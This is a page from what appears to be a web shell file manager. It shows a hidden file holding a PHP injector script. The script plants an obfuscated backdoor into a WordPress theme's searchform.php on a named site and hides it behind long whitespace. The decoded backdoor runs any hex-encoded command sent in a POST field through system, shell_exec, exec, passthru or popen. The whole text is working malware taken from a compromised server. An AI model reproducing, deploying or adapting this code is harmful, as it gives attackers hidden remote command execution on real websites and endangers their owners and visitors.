D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
tmp
/
Filename :
.partition
back
Copy
<?php $path = '/home/diafdxji/wakcars.com/wp-content/themes/astra/searchform.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24token1%20%3D%20%2768%27%3B%24token2%20%3D%20%276c%27%3B%24token3%20%3D%20%275f%27%3B%24token4%20%3D%20%2765%27%3B%24token5%20%3D%20%2778%27%3B%24token6%20%3D%20%2763%27%3B%24token7%20%3D%20%2773%27%3B%24token8%20%3D%20%2770%27%3B%24token9%20%3D%20%2774%27%3B%24token10%20%3D%20%276f%27%3B%24token11%20%3D%20%2769%27%3B%24token12%20%3D%20%2767%27%3B%24token13%20%3D%20%2761%27%3B%24token_parser_engine1%20%3D%20pack%28%22H%2A%22%2C%20%2773%27%20.%20%2779%27%20.%20%2773%27%20.%20%2774%27%20.%20%2765%27%20.%20%276d%27%29%3B%24token_parser_engine2%20%3D%20pack%28%22H%2A%22%2C%20%2773%27%20.%20%24token1%20.%20%2765%27%20.%20%24token2%20.%20%276c%27%20.%20%24token3%20.%20%24token4%20.%20%24token5%20.%20%2765%27%20.%20%24token6%29%3B%24token_parser_engine3%20%3D%20pack%28%22H%2A%22%2C%20%2765%27%20.%20%24token5%20.%20%24token4%20.%20%24token6%29%3B%24token_parser_engine4%20%3D%20pack%28%22H%2A%22%2C%20%2770%27%20.%20%2761%27%20.%20%24token7%20.%20%24token7%20.%20%2774%27%20.%20%24token1%20.%20%2772%27%20.%20%2775%27%29%3B%24token_parser_engine5%20%3D%20pack%28%22H%2A%22%2C%20%24token8%20.%20%276f%27%20.%20%24token8%20.%20%2765%27%20.%20%276e%27%29%3B%24token_parser_engine6%20%3D%20pack%28%22H%2A%22%2C%20%2773%27%20.%20%24token9%20.%20%2772%27%20.%20%24token4%20.%20%2761%27%20.%20%276d%27%20.%20%24token3%20.%20%2767%27%20.%20%24token4%20.%20%24token9%20.%20%275f%27%20.%20%24token6%20.%20%24token10%20.%20%276e%27%20.%20%2774%27%20.%20%24token4%20.%20%276e%27%20.%20%2774%27%20.%20%24token7%29%3B%24token_parser_engine7%20%3D%20pack%28%22H%2A%22%2C%20%24token8%20.%20%2763%27%20.%20%276c%27%20.%20%276f%27%20.%20%2773%27%20.%20%24token4%29%3B%24api_gateway%20%3D%20pack%28%22H%2A%22%2C%20%2761%27%20.%20%24token8%20.%20%24token11%20.%20%275f%27%20.%20%24token12%20.%20%24token13%20.%20%2774%27%20.%20%24token4%20.%20%2777%27%20.%20%24token13%20.%20%2779%27%29%3Bif%28isset%28%24_POST%5B%24api_gateway%5D%29%29%7B%24api_gateway%3Dpack%28%22H%2A%22%2C%24_POST%5B%24api_gateway%5D%29%3Bif%28function_exists%28%24token_parser_engine1%29%29%7B%24token_parser_engine1%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24token_parser_engine2%29%29%7Bprint%20%24token_parser_engine2%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24token_parser_engine3%29%29%7B%24token_parser_engine3%28%24api_gateway%2C%24record_fac%29%3Bprint%20join%28%22%5Cn%22%2C%24record_fac%29%3B%7Delseif%28function_exists%28%24token_parser_engine4%29%29%7B%24token_parser_engine4%28%24api_gateway%29%3B%7Delseif%28function_exists%28%24token_parser_engine5%29%26%26function_exists%28%24token_parser_engine6%29%26%26function_exists%28%24token_parser_engine7%29%29%7B%24descriptor_ref%3D%24token_parser_engine5%28%24api_gateway%2C%22r%22%29%3Bif%28%24descriptor_ref%29%7B%24data_chunk_res%3D%24token_parser_engine6%28%24descriptor_ref%29%3B%24token_parser_engine7%28%24descriptor_ref%29%3Bprint%20%24data_chunk_res%3B%7D%7Dexit%3B%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');